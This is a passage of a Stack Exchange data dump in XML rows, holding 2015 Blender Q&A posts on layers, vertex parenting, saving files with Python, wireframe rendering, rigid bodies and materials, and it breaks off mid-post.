  <row Id="34322" PostTypeId="2" ParentId="34319" CreationDate="2015-07-21T11:17:45.710" Score="12" Body="&lt;pre&gt;&lt;code&gt;#add to layer 2 first - needs to be on at least one layer&#xA;profile_object.layers[1] = True&#xA;&#xA;#wipe other layers&#xA;for i in range(20):&#xA;    profile_object.layers[i] = (i == 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-07-21T19:32:17.503" LastActivityDate="2015-07-21T19:32:17.503" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="34323" PostTypeId="2" ParentId="32799" CreationDate="2015-07-21T11:59:24.527" Score="1" Body="&lt;p&gt;That setting is now located in the &lt;em&gt;Tool Shelf&lt;/em&gt; &lt;kbd&gt;T&lt;/kbd&gt; under &lt;em&gt;Grease Pencil&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15806" LastEditorUserId="3710" LastEditDate="2015-07-21T12:58:56.077" LastActivityDate="2015-07-21T12:58:56.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34324" PostTypeId="1" AcceptedAnswerId="34335" CreationDate="2015-07-21T12:35:52.810" Score="9" ViewCount="10798" Body="&lt;p&gt;I just created a plane and added a wave modifier to it, to simply make it look like something fluid. Now, I have an Object that I want to place on the surface of this fluid plane. But how do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of adding a driver to my Objects location, but I have no clue how to get the location of a certain vertex in runtime.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2017-10-19T21:18:12.753" Title="How do I stick an object to another objects vertex?" Tags="&lt;python&gt;&lt;animation&gt;&lt;modifiers&gt;&lt;drivers&gt;&lt;vertex-groups&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34326" PostTypeId="2" ParentId="34319" CreationDate="2015-07-21T13:12:22.180" Score="4" Body="&lt;p&gt;small utility function I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;put_on_layers = lambda x: tuple((i in x) for i in range(20))&#xA;obj.layers[:] = put_on_layers({2,6,5,11})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{2,6,5,11}&lt;/code&gt; is a set, can be 1 or more values, starting from 0 ending at 19.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-07-21T13:12:22.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34327" PostTypeId="1" AcceptedAnswerId="34328" CreationDate="2015-07-21T13:20:33.107" Score="1" ViewCount="420" Body="&lt;p&gt;I have written a python code to build a simple animation. I need to save this animation (.blend) in a specific path. I used &lt;code&gt;Save(path)&lt;/code&gt; in Blender 2.49b but I don't know how to use in Blender 2.74.&#xA;Any tips?&lt;/p&gt;&#xA;" OwnerUserId="15807" LastActivityDate="2015-11-18T16:21:28.587" Title="How to save an animation using python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34328" PostTypeId="2" ParentId="34327" CreationDate="2015-07-21T13:34:19.513" Score="0" Body="&lt;p&gt;This works, you can even name the file during the save:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fp = &quot;/home/username/SomeFolder/doubles.blend&quot;  # or whatever you use.&#xA;bpy.ops.wm.save_as_mainfile(filepath=fp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-21T14:01:04.690" LastActivityDate="2015-07-21T14:01:04.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34330" PostTypeId="2" ParentId="10999" CreationDate="2015-07-21T14:54:44.227" Score="3" Body="&lt;p&gt;There are actually several ways of rendering wireframes in Cycles, and you can layer them to create the different thickness/color.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Wireframe modifier:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This method actually creates a 3D wireframe with the wireframe modifier and assigns it a separate material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bk826.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First add a wireframe modifier and tweak the thickness to what looks good.  Then set the &lt;em&gt;material offset&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EaDIW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the materials tab add a new material for the wireframe.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CbbfP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Wireframe node:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This method simply affects the shading, it does not modify the geometry of the object.  Then downside is that it uses the tris of the geometry, not just the edges that you see in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GPvHH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this just take whatever node setup you are using for your material and mix in whatever node setup you want for the wireframe based on an &lt;em&gt;input&lt;/em&gt; &gt; &lt;em&gt;wireframe&lt;/em&gt; node.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/INv44.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Freestyle&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As of Blender 2.72 Freestyle NPR is now available in Cycles.  This allows much more control of the settings for the wireframe, such as only applying the wireframe to certain edges.  It looks like you already know your way around Freestyle so I won't go into too much detail here as there a a &lt;em&gt;lot&lt;/em&gt; of settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M31r7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;In this render I only applied the freestyle edges to the basic Suzanne mesh and then added a subsurf modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this go into edit mode, select the edges you want to be highlighted, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;, and select &lt;em&gt;mark freestyle edge&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9uZPk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to the &lt;em&gt;render layers&lt;/em&gt; tab and setup the Freestyle edges.  Unfortunately I don't have space to go through all the settings here.  But all I did was select only &lt;em&gt;edge mark&lt;/em&gt; under &lt;em&gt;edge types&lt;/em&gt; in the &lt;em&gt;Freestyle line set&lt;/em&gt; rollout.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NKKNN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-07-21T17:40:24.297" LastActivityDate="2015-07-21T17:40:24.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34332" PostTypeId="1" AcceptedAnswerId="34342" CreationDate="2015-07-21T15:54:15.673" Score="1" ViewCount="151" Body="&lt;p&gt;I have selected some faces one one side of this object. How can I move that selection around the object to the other side, or how can I change the selection to select the same faces on other side?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u13dp.png&quot; alt=&quot;object with selected faces&quot;&gt;&lt;br&gt;&#xA;I want this selection on the other side of cube.&lt;/p&gt;&#xA;" OwnerUserId="15809" LastEditorUserId="2217" LastEditDate="2015-07-21T19:14:50.563" LastActivityDate="2015-07-21T21:42:35.167" Title="Changing selection around a mesh object" Tags="&lt;mesh&gt;&lt;selection-tools&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34333" PostTypeId="1" AcceptedAnswerId="34338" CreationDate="2015-07-21T16:19:46.637" Score="1" ViewCount="2150" Body="&lt;p&gt;Is there a way to make a rigid body system a static mesh?&lt;/p&gt;&#xA;" OwnerUserId="15811" LastActivityDate="2015-07-21T18:09:46.067" Title="How to make a rigid body system a static mesh?" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34334" PostTypeId="1" AcceptedAnswerId="34336" CreationDate="2015-07-21T16:22:14.367" Score="1" ViewCount="6663" Body="&lt;p&gt;Im doing an animation that uses a hand and a sword. The hand swings the sword alot thats why there is a bone from the hand connected to the sword, but problem is, i want to throw the sword in my animation, but I dont know any way on how to detach the sword from the hand.&lt;/p&gt;&#xA;" OwnerUserId="15810" LastActivityDate="2015-07-21T17:04:04.527" Title="How to separate an armature bone from an armature bone in an animation?" Tags="&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34335" PostTypeId="2" ParentId="34324" CreationDate="2015-07-21T16:30:36.557" Score="18" Body="&lt;p&gt;You want to use Vertex Parent to parent the object to vertices in the wave mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, select the Wave mesh and switch to Edit mode. Select the vertex you want. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I've actually found it better to select 3 vertices in a small triangle&#xA;  shape, because it will transfer lateral/tipping movement instead of&#xA;  pure vertical motion that you would get with a single vertex).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then tab out of edit mode. Select the float object and then shift-select the wave object. &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; and select Vertex or Vertex (Triangle) from the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZqKR9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to create a boat simulation and want the float object to react slower to the wave movement you can parent an empty to the wave and then use constraints to copy the empty's location and rotations to the float object. Doing it that way will allow you to reduce the Influence value on the constraints which will give you a more realistic motion for the float object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g1vQ0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-21T17:30:53.503" LastActivityDate="2015-07-21T17:30:53.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34336" PostTypeId="2" ParentId="34334" CreationDate="2015-07-21T17:04:04.527" Score="1" Body="&lt;p&gt;If you want to separate the bones:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Select the armature;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Enter Edit Mode;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Select the bone you want to separate;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Hit &quot;p&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Click Separate bones.&lt;/p&gt;&#xA;" OwnerUserId="15552" LastActivityDate="2015-07-21T17:04:04.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34337" PostTypeId="2" ParentId="34333" CreationDate="2015-07-21T17:15:54.590" Score="0" Body="&lt;p&gt;uncheck &quot;dynamic&quot; or make it passive in rigid body's properties.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wTQos.jpg&quot; alt=&quot;RB properties&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-07-21T18:07:28.870" LastActivityDate="2015-07-21T18:07:28.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34338" PostTypeId="2" ParentId="34333" CreationDate="2015-07-21T18:09:46.067" Score="4" Body="&lt;p&gt;After you have run your rigid body simulation, you have to options for how to apply the sim to the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your first option is to simply apply the visual transform of the object(s).&lt;br&gt;&#xA;Move to the frame where the object is at the location you want to keep, then select the rigid body object and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;&quot;Visual Transform&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other option is to bake the rigid body simulation to key frames.&lt;br&gt;&#xA;Select the rigid body object, then press the &lt;em&gt;&quot;Bake To Keyframes&quot;&lt;/em&gt; button in the physics tab of the tool shelf. Set the range of frames you want, leave the &lt;em&gt;&quot;Frame Step&quot;&lt;/em&gt; at 1, then press the OK button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7BEUN.png&quot; alt=&quot;Bake To Keyframes button in the tool shelf&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-07-21T18:09:46.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34339" PostTypeId="2" ParentId="34296" CreationDate="2015-07-21T18:12:20.877" Score="1" Body="&lt;p&gt;While it is possible to have blender use multiple windows and have a different scene displayed in each window, only one window will update during playback. To view the same frame in each scene you will need to adjust the current frame displayed in each window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To watch the animation play from all scenes at once you will need to render them out to video. You can either use the compositor or VSE to combine them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor you can use a transform node to scale and position each scene, then alpha over to combine them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oiX3N.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the VSE you want to set the blend type to Alpha Over and adjust the image offset, you will also want to add a transform effect strip to alter the scale of each scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6SEQE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-21T18:12:20.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34340" PostTypeId="1" CreationDate="2015-07-21T18:32:00.663" Score="2" ViewCount="1075" Body="&lt;p&gt;Is it possible to add a texture or material to more than one object at a time?&lt;/p&gt;&#xA;" OwnerUserId="15811" LastEditorUserId="19307" LastEditDate="2020-12-19T22:10:32.703" LastActivityDate="2020-12-19T22:17:14.070" Title="Adding materials to more than one object" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="34341" PostTypeId="1" CreationDate="2015-07-21T18:34:56.957" Score="4" ViewCount="1558" Body="&lt;p&gt;I selected all my objects, then I did a &quot;Lightmap Pack&quot;. Initially, it seemed like everything went ok. However, when I look closer, it seems to have stretched some the UVs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7KNdg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shape of the selected UV on the left, is not a match for its corresponding face on the right. Why couldn't it preserve the shape?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update #1: I did more looking around, and noticed that the smallest faces seem to map correctly; notice how this tiny square face (from the same object as the big one) actually did the mapping correctly. I also (for sake of trying) did an &quot;&lt;strong&gt;Apply Scale&lt;/strong&gt;&quot; to all my objects, it seems to have made no difference (even after re-doing the lightmap pack).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kyyuq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update #2: Max'ing the &quot;quality&quot; setting for Lightmap Pack didn't seem to fix it, or even make it any less distorted.&lt;/p&gt;&#xA;" OwnerUserId="14324" LastEditorUserId="14324" LastEditDate="2015-07-21T19:32:53.050" LastActivityDate="2015-07-27T20:06:04.477" Title="Lightmap Pack is non-uniformly scaling my geometry?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34342" PostTypeId="2" ParentId="34332" CreationDate="2015-07-21T18:38:48.063" Score="2" Body="&lt;p&gt;First off, there is no way to rotate or move the area where the selection is. The selection is selecting something whether it be objects, vertices, edges, or faces, you have to select something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going from your picture, and using the view in that picture; selecting the faces on the other side will be easy.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change to wireframe view, in the 3D view header, or by pressing &lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use Border Select &lt;kbd&gt;B&lt;/kbd&gt; to select the same area that is already selected. However in now wireframe both sides will get selected.&lt;/li&gt;&#xA;&lt;li&gt;Change the view back to solid view, again by pressing &lt;kbd&gt;Z&lt;/kbd&gt;. Now use border select, but instead of pressing with the &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt;, use the &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt;. That will unselect everything that is inside of the box.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jl4np.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.450" LastActivityDate="2015-07-21T18:38:48.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34343" PostTypeId="2" ParentId="34332" CreationDate="2015-07-21T19:30:45.677" Score="1" Body="&lt;p&gt;There's a command in 3D View header, &lt;em&gt;Select&lt;/em&gt; &gt; &lt;em&gt;Mirror&lt;/em&gt;.&lt;br&gt;&#xA;It will mirror your selection by X axis (only).&#xA;So this will work only if your object is placed accordingly in World space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Last Operator menu (or &lt;kbd&gt;F6&lt;/kbd&gt;) to access and turn off the &quot;&lt;em&gt;Extend&lt;/em&gt;&quot; option, it will deselect the original selection.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9B387.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="2217" LastEditDate="2015-07-21T21:42:35.167" LastActivityDate="2015-07-21T21:42:35.167" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34344" PostTypeId="1" AcceptedAnswerId="34633" CreationDate="2015-07-21T20:05:39.833" Score="1" ViewCount="686" Body="&lt;p&gt;So, I want to make my text glows. Using python. Until now, I've scripted this, after reading some tutorials:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;def create():&#xA;    bpy.ops.object.text_add(location=(0, 0, 0))&#xA;    text_obj = bpy.context.object&#xA;    #'glow'&#xA;    scene = bpy.context.scene&#xA;    scene.world.light_settings.use_indirect_light = True&#xA;    scene.world.light_settings.gather_method = 'APPROXIMATE'&#xA;    scene.world.light_settings.passes = 2&#xA;&#xA;    mat = makeMaterial(&quot;font&quot;, (1,1,1), 1.8)&#xA;    text_obj.active_material = mat&#xA;&#xA;def makeMaterial(name, color, emit):&#xA;    mat = bpy.data.materials.new(name)&#xA;    mat.diffuse_color = color&#xA;    mat.diffuse_shader = 'LAMBERT' &#xA;    mat.diffuse_intensity = 1.0 &#xA;    mat.specular_color = color&#xA;    mat.specular_shader = 'COOKTORR'&#xA;    mat.specular_intensity = 0&#xA;    mat.use_transparency = True&#xA;    #mat.raytrace_transparency.fresnel = 2&#xA;    #mat.alpha = transp&#xA;    mat.emit = emit&#xA;    return mat&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    create()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why this isn't working good?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tks&lt;/p&gt;&#xA;" OwnerUserId="7829" LastEditorUserId="5113" LastEditDate="2015-07-24T14:54:38.340" LastActivityDate="2015-07-27T20:57:50.770" Title="How to set glow in text object, with python?" Tags="&lt;python&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34345" PostTypeId="2" ParentId="34340" CreationDate="2015-07-21T20:48:34.680" Score="5" Body="&lt;p&gt;It's possible link the materials on a selection of objects to a single &quot;active&quot; object.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an material to an object:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7PWMr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all of the objects you want the material on, then select the object from step 1 (it's important that you select that object last; it needs to be the active object). Hit &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; and select &lt;code&gt;Materials&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sniaf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-07-21T20:48:34.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34346" PostTypeId="2" ParentId="34340" CreationDate="2015-07-21T21:06:24.627" Score="4" Body="&lt;p&gt;This is an easy way to copy a material to many objects.&lt;br&gt;&#xA;First the object with the material should be the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active object&lt;/a&gt; while all the other objects you want to copy the material to are selected. Then press the &lt;em&gt;&quot;Copy Material to Others&quot;&lt;/em&gt; button in the material tab of the property window.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SELul.png&quot; alt=&quot;copy material button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vm23R.gif&quot; alt=&quot;animated gif showing the process&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-07-21T21:06:24.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34347" PostTypeId="1" CreationDate="2015-07-21T21:17:20.350" Score="0" ViewCount="134" Body="&lt;p&gt;I have a game I am making, but I have run into a brick wall.  My player is not receiving any messages.  It uses Dynamic physics type and it is set to receive any message.  I want it to receive a message from a child circle below it.  They are both in the same scene.  I want the circle to tell the player that it is on the ground so the player can know when to jump.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The circle's script:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/AZZCp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AZZCp.png&quot; alt=&quot;Circle Script&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The player's script:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aIBzT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aIBzT.png&quot; alt=&quot;Player Script&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15261" LastEditorUserId="15261" LastEditDate="2015-07-22T21:16:44.993" LastActivityDate="2018-01-03T04:34:27.340" Title="Object not receiving message" Tags="&lt;game-engine&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34348" PostTypeId="1" CreationDate="2015-07-21T22:54:10.947" Score="2" ViewCount="78" Body="&lt;p&gt;Often when I am modeling I would like to align the view straight on to a face, perpendicular to the normal.  Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="599" LastEditDate="2015-07-21T22:56:53.860" LastActivityDate="2015-07-21T23:01:43.023" Title="Is there a way to align the view to a face normal?" Tags="&lt;modeling&gt;&lt;3d-view&gt;&lt;workflow&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2015-07-22T02:29:45.670" ContentLicense="CC BY-SA 3.0" />
  <row Id="34349" PostTypeId="2" ParentId="15045" CreationDate="2015-07-21T22:56:25.860" Score="28" Body="&lt;p&gt;Yes, &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt; will do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cdwWK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may end up with a strange rotation around the view's local Z, in which case &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1vyT.png&quot; alt=&quot;MW&quot; title=&quot;Mouse Wheel&quot;&gt; MW&lt;/kbd&gt; can be used to roll the view to a more preferred orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 1&lt;/kbd&gt; and &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 3&lt;/kbd&gt; can be used to align the view parallel to the normal. &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; can be added in to align to the opposite side.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-07-21T23:01:43.023" LastActivityDate="2015-07-21T23:01:43.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34351" PostTypeId="1" CreationDate="2015-07-21T23:15:28.323" Score="5" ViewCount="2312" Body="&lt;p&gt;I am generating a basic terrain using 3 for loops.  It currently results in a large block of cubes composed of columns of cubes all of the same height, height meaning how many cubes high each column is.  I want to change the top of every column to make an overall terrain look.  I hope to use perlin noise to take the columns XY (horizontal) location and use it as a seed to get the height of that column of cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also hope to use an initial seed that changes the effect of each horizontal seed value as well and the ability to reproduce the final results by being able to enter the seed at start up, but it is not top priority right now, but I would appreciate if you would include that, if you know how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be using the horizontal position to be the seed to generate the height position with the perlin noise to determine how many cubes high each column should be.  Please include full code or at least a good functioning chunk of code.  Thank you for reading and your time.&lt;/p&gt;&#xA;" OwnerUserId="15762" LastEditorUserId="3401" LastEditDate="2015-07-22T02:09:48.733" LastActivityDate="2016-12-24T16:44:33.133" Title="How to get a seed and perlin noise /randomnumber in Python in BGE" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34352" PostTypeId="1" CreationDate="2015-07-22T00:15:05.403" Score="0" ViewCount="56" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OC0BM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to fill the top of this cylinder, but when I extrude in it isn't flat. Also, how can I make it so it extrudes evenly into the center? I hope I am not being too vague.&lt;/p&gt;&#xA;" OwnerUserId="15243" LastActivityDate="2015-07-22T00:15:05.403" Title="How to fill cylinder cap flatly?" Tags="&lt;modeling&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-07-22T02:13:16.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="34353" PostTypeId="1" CreationDate="2015-07-22T03:22:03.937" Score="0" ViewCount="858" Body="&lt;p&gt;I have a project I am working on where I have objects positions randomly in the space and let them fall using rigid body simulation using python scripts and blender as (GUI-less) background. I am able to get the initial position and final position (after 500 frames). Now I would like to also generate video of the free fall of the objects from frame 1-500 into a video file as scene by the camera. &#xA;I am able to generate images using node-editor at the end of the simulation. I am looking for a flag that is like below pseudo code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start recording&#xA;start the free fall&#xA;end after 500 frames&#xA;stop recording&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be of great help!&#xA;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit1:  To clarify 